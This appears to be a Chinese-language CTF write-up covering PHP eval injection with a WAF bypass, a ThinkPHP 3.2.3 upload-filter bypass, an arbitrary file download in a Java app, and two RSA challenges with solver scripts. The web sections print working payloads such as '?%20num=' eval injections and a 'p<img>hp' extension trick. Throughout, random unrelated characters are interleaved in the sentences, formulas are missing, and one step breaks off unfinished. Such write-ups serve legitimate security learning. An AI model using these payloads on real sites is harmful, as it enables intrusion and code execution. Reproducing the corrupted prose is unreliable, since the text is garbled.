WEB
easy_calc
訪問calc.php
不帶num
參數(shù)的時(shí)候就可以得到calc.php
源碼
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
輸入?num=phpinfo()
庄岖,發(fā)現(xiàn)有403
錯(cuò)誤。
接下來就是繞WAF
的問題角骤。
參考利用PHP函數(shù)parse_str繞過IDS隅忿、IPS和WAF,只需要在參數(shù)num
前加一個(gè)%20
即可邦尊,如下
嘗試如下:
- 因?yàn)椴荒苁褂靡?hào)和
system
,所以無法直接執(zhí)行系統(tǒng)命令胳赌,如ls
,pwd
等匙隔,所以使用?%20num=dirname(__FILE__)
和?%20num=print_r(scandir(dirname(__FILE__)))
讀取當(dāng)前路徑和當(dāng)前目錄下的文件flag
在index.html
里,所以想用highlight_file()
去讀取文件纷责,但是不能使用引號(hào)的情況下捍掺,無法讀取指定文件。 - 既然
num
參數(shù)被加了黑名單過濾再膳,那可不可以在別的地方執(zhí)行命令挺勿?這里參考一葉飄零師傅無參Getshell,里面隨便用一個(gè)方法都能繞過過濾喂柒。我這里使用的是 - 還能通過編碼的方式來實(shí)現(xiàn)繞過不瓶,如使用
eval(base64_decode(cHJpbnRfcihzY2FuZGlyKCcvJykpOzs7))
base64
編碼過的部分為print_r(scandir('/'));;;
,為什么是三個(gè)分號(hào)我也沒搞懂灾杰。蚊丐。 - 還能使用
a
的方式來替代a['b']
艳吠,從而繞過引號(hào)過濾麦备,如eval(get_defined_vars(){_GET}{a})&a=print_r(scandir('/'));
,其中{_GET}{a}
和[_GET][a]
一樣昭娩。
simple_upload
題目如下:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 實(shí)例化上傳類
$upload->maxSize = 4096 ;// 設(shè)置附件上傳大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 設(shè)置附件上傳類型
$upload->rootPath = './Public/Uploads/';// 設(shè)置附件上傳目錄
$upload->savePath = '';// 設(shè)置附件上傳子目錄
$info = $upload->upload() ;
if(!$info) {// 上傳錯(cuò)誤提示錯(cuò)誤信息
$this->error($upload->getError());
return;
}else{// 上傳成功 獲取上傳文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
已知的是使用了ThinkPHP
的框架凛篙,發(fā)現(xiàn)以下代碼為開發(fā)者自己寫的過濾,懷疑存在問題
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
該代碼將判斷文件名是否存在.php
栏渺。
打開thinkphp3.2.3
源碼中/Library/Think/Upload.class.php
呛梆,找到對(duì)應(yīng)的上傳文件處理過程代碼,如下:
// 對(duì)上傳文件數(shù)組信息處理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通過擴(kuò)展獲取文件類型磕诊,可解決FLASH上傳$FILES數(shù)組返回文件類型錯(cuò)誤的問題 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}
可以發(fā)現(xiàn)削彬,thinkphp
框架會(huì)對(duì)filename
進(jìn)行strip_tags操作
剝?nèi)?biāo)簽全庸,這樣的話我們文件后綴只需要在
php
中插入任何HTML標(biāo)簽即可繞過過濾,且可以正常解析融痛。構(gòu)造一個(gè)上傳頁面
<html>
<body>
<form action="http://cndljjs6roarctf.4hou.com.cn:37326/index.php/home/index/upload" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
上傳任意一個(gè)php
文件壶笼,然后抓包修改后綴為p<img>hp
,上傳成功
Easy java
點(diǎn)開help
覆劈,發(fā)現(xiàn)url
里有個(gè)Download?filename=
,懷疑存在任意文件下載
把GET
改成POST
沛励,發(fā)現(xiàn)下載成功责语。
WEB-INF/web.xml
查看目錄結(jié)構(gòu)javaweb
的目錄結(jié)構(gòu),以及得到的servlet-class
值目派,可以下載到所需要的class
文件base64
編碼過的字符串坤候,解碼得到flag
Crypto
RSA
題目如下:
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
未知數(shù)有三個(gè),包括x
企蹭,y
白筹,z
,我們能做的就是通過A
谅摄,N
恢復(fù)出未知數(shù)的值徒河。
先觀察A
,可以發(fā)現(xiàn)有個(gè)迷惑性的運(yùn)算送漠,**2019
顽照,我們要知道, 即使是闽寡,結(jié)果也是至少
位的十進(jìn)制數(shù)代兵,而A僅僅為607位,因此我們可以知道
的值爷狈,其實(shí)為1奢人。
接下來就是解方程了,我們可以通過化解等式得到淆院,而且很明顯何乎,
A
的主要是有y**316
組成。這樣的話土辩,我們可以通過遍歷y
來確定y
的值支救,然后求得x
。代碼如下:
for y in range(1000):
if y**316>A:
y-=1
break
x = (y+1)/(A-1-y**316)
然后是如何根據(jù)N
恢復(fù)出p
拷淘,q
各墨。
我們首先需要知道的是,z*x*y
與z
其實(shí)并沒有相差太多启涯,所以next_prime(z*x*y)
與next_prime(z)
也不會(huì)相差太多贬堵。
所以我們可以用求根的方法恃轩,然后在根值附件尋找,代碼如下:
z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
if n % q == 0:
break
q = gmpy2.next_prime(q)
p = n/q
接下來就是正常的RSA
的過程了黎做,另外叉跛,加密密鑰e
可以試試幾個(gè)常用的就能試出來了,總的代碼如下
import gmpy2
from libnum import n2s
# A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
# p=next_prime(z*x*y)
# q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
for y in range(1000):
if y**316>A:
y-=1
break
x = (y+1)/(A-1-y**316)
z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
if n % q == 0:
break
q = gmpy2.next_prime(q)
p = n/q
d = gmpy2.invert(0x10001,(p-1)*(q-1))
m = pow(c,d,n)
print n2s(m)
babyrsa
import sympy
import random
def myGetPrime():
A= getPrime(513)
print(A)
B=A-random.randint(1e3,1e5)
print(B)
return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
q=myGetPrime()
#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
r=myGetPrime()
n=p*q*r
#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=pow(flag,e,n)
#e=0x1001
#c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
#so,what is the flag?
主要的問題就是大數(shù)階乘模運(yùn)算怎么求
這里用到的是威爾遜定理蒸殿,當(dāng)且僅當(dāng)p為素?cái)?shù)時(shí):來減少階乘模的運(yùn)算量筷厘。
已知
解過程如下
代碼如下:
import gmpy2
import libnum
def getpq(A,B):
rand = A - B
b = -1
for i in range(1,rand):
tmp = (b%A)*gmpy2.invert(A-i,A)
b = tmp%A
return gmpy2.next_prime(b)
A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
p = getpq(A1,B1)
A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
q= getpq(A2,B2)
n = 85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
r=n/(p*q)
e=0x1001
d = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
m = pow(c,d,n)
print libnum.n2s(m)